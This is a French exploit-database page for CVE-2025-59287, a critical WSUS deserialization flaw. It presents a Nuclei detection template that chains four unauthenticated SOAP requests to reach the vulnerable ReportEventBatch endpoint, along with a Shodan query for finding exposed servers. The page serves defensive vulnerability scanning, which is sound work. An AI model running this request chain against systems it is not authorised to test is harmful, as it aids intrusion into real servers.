Exploit matérialisé
CVE-2025-59287
CRITICAL KEV1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei
critical Vérifié
Source
Windows Server Update Service - Insecure Deserialization
Par projectdiscovery
Comment tester cet exploit
Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.
nuclei -id CVE-2025-59287 -u https://your-targetTemplate yaml
id: CVE-2025-59287
info:
name: Windows Server Update Service - Insecure Deserialization
author: pussycat0x,princechaddha
severity: critical
description: |
Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise.
impact: |
Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code remotely on Windows Server Update Service systems, achieving complete server compromise.
remediation: |
Apply the Microsoft security patches as described in the MSRC update guide for Windows Server Update Service and restrict network access to WSUS endpoints.
reference:
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287
- https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability
- https://hawktrace.com/blog/CVE-2025-59287
- https://research.eye.security/wsus-deserialization-exploit-in-the-wild-cve-2025-59287
- https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-59287
cwe-id: CWE-502
epss-score: 0.99979
epss-percentile: 0.9998
cpe: cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: microsoft
product: windows_server_update_service
shodan-query: cpe:"cpe:2.3:o:microsoft:windows_server_2012"
tags: cve,cve2025,windows,server,wsus,kev,vkev,deserialization,rce
variables:
domain: "{{rand_text_alphanumeric(5)}}.local"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"
Content-Type: text/xml
Content-Length: 331
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
</GetRollupConfiguration>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(body, "RollupResetGuid")'
- 'contains(header, "text/xml")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
part: body
name: ServerId
group: 1
regex:
- '<ServerId>(.*)</ServerId>'
internal: true
- raw:
- |
POST /SimpleAuthWebService/SimpleAuth.asmx HTTP/1.1
Host: {{Hostname}}
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"
Content-Type: text/xml
Content-Length: 413
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
<clientId>{{ServerId}}</clientId>
<targetGroupName></targetGroupName>
<dnsName>{{domain}}</dnsName>
</GetAuthorizationCookie>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(body, "CookieData")'
- 'contains(header, "text/xml")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
part: body
name: cookie
group: 1
regex:
- '<CookieData>(.*)</CookieData>'
internal: true
- raw:
- |
POST /ClientWebService/Client.asmx HTTP/1.1
Host: {{Hostname}}
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Type: text/xml
Content-Length: 413
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>{{cookie}}</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<lastChange>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</lastChange>
<currentTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</currentTime>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(body, "GetCookieResult")'
- 'contains(header, "text/xml")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
part: body
group: 1
name: EncryptedData
regex:
- <EncryptedData>(.*)</EncryptedData>
internal: true
- raw:
- |
POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
Host: {{Hostname}}
Accept: text/xml
Connection: keep-alive
Content-Type: text/xml
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"
Content-Length: 4464
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie>
<Expiration>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</Expiration>
<EncryptedData>{{EncryptedData}}</EncryptedData>
</cookie>
<clientTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</clientTime>
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
<ReportingEvent>
<BasicData>
<TargetID>
<Sid>549743e5-8546-4f9d-b946-7948711f7b69</Sid>
</TargetID>
<SequenceNumber>0</SequenceNumber>
<TimeAtTarget>2025-10-29T08:41:54.069</TimeAtTarget>
<EventInstanceID>a0ce0892-6046-4f21-856e-69ffa43876b9</EventInstanceID>
<NamespaceID>2</NamespaceID>
<EventID>389</EventID>
<SourceID>301</SourceID>
<UpdateID>
<UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
<RevisionNumber>0</RevisionNumber>
</UpdateID>
<Win32HResult>0</Win32HResult>
<AppName>LocalServer</AppName>
</BasicData>
<ExtendedData>
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>{{randstr}}</string>
</MiscData>
</ExtendedData>
<PrivateData>
<ComputerDnsName></ComputerDnsName>
<UserAccountName></UserAccountName>
</PrivateData>
</ReportingEvent>
</eventBatch>
</ReportEventBatch>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(body, "ReportEventBatchResult>true</ReportEventBatchResult>")'
- 'contains(header, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100db96a44058a878f2001b9af2e52b0a36303d185ad0a14d6965ad80da6411d8ff0221009325ac06a5e6bd96038e37eb4574f6aebc9ba819f6a4b5265d732aca3949f5a5:922c64590222798bb761d5b6d8e72950